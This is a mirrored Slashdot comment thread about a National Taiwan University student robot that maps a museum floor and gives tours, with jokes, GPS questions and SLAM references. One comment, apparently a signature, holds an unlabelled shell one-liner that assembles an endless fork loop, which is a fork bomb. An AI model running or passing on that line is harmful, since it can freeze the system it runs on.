Slashdot Mirror
Taiwan University Students Build Tour-Guide Robot
BobB-nw writes "A group of engineering students and their professor at National Taiwan University have built a robot that can map out the area it's operating in and offer guided tours. The robot, named 'Hsiao Mei,' uses laser mapping and GPS technology to navigate on its own, including around corners and obstacles such as tables and chairs. In the first public demonstration on Thursday, an engineering student with a wireless remote control first took the robot through the floor of a small museum on the university's campus so it could create a map for itself. After the initial run-through, the robot was able to make an unaided journey around the floor."
"On your left, you may observe a thirteenth century representa... GZHRRRZT... ANNIHILATE HUMANS! ANNIHILATE HUMANS!"
I've worked on a similar project, but we avoided GPS, since it doesn't work very well indoors.
What I want to know is if TFA is wrong, or if they're really using GPS. If it works fairly well, that would have made our lives a lot easier during my project.
Synthetic indoor GPS is commonly used for robotics.
http://michaelsmith.id.au
Is it GPS then?
GPS is Global Positioning System. Even though the room is big, it's not global.
I think a better acronym would be LPS, Local Positioning System. But I've never heard that acronym before, and urban dictionary translates it to something else :P
Combine this with the evil and deceptive AI being worked on, and we can have a real laugh watching these robots direct museum visitors into open elevator shafts, or into puddles of water on marble floors. "Beep, you're on Candid Camera" will be all the rage amongst our new robotic overlords (which I, of course, welcome).
'If Christ had tweeted the sermon on the mount, it might have lasted until nightfall.' - John Perry Barlow
http://idw-online.de/pages/de/news12995
Thats the google query where you can find more articles about the project: http://www.google.com/search?q=roboter+baumarkt+ilmenau
Sorry but obviosly that project was mainly covered in the german press.
English Homepage: http://www.tu-ilmenau.de/fakia/Projects.2202.0.html?&L=1
bickerdyke
I wonder what the name means in Chinese.
Hsiao Mei (Wade Giles a deprecated but still common Romanization method in Taiwan) = Xiao3 Mei4 in Hanyu Pinyin = little sister.
http://www.mandarintools.com/cgi-bin/charlook.pl?searchmode=standard&printtype=utf8&chartype=all&ordering=frequency&display=char&display=radstroke&display=strokes&display=pinyin&display=english&display=variants&display=unicode&english=&pinyin=&cantonese=&enctype=utf8&whatchar=%E5%B0%8F%E5%A6%B9&searchchar=Search+by+Character&lowerb=&upperb=
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Or is it just robot season? We've had throwable robots, fleash-eating robots, evil robots, deceptive robots...
Don't get me wrong, I love robots, it's just I've never seen so much robot related news in a week before.
Bite my shiny metal ass.
I had sort of assumed that all university tour guides were robots. They sure seemed that way to me.
Dislike the Electoral College? Lobby your state to join the National Popular Vote Interstate Compact.
... as a tour guide unless it can dodge traffic crossing an Italian traffic circle.
Have gnu, will travel.
I'd be happy with AI sufficient to make it chase the cat.
Have gnu, will travel.
The problem with this sort of article is that it doesn't say how the thing actually works. They are trying to solve the 'SLAM' or Simultaneous Localization and Mapping problem. The best approaches have recently been particle filter based. See the work by Sebastian Thrun at Stanford or Montemerlo's dissertation at CMU. I would have to guess that they are using a similar approach.
But of course this has been done before. The discussed project looks very similar to Minerva.
The more people I meet, the better I like my dog.
There's a different between: "where the sun doesn't shine" and "where the satellite doesn't shine"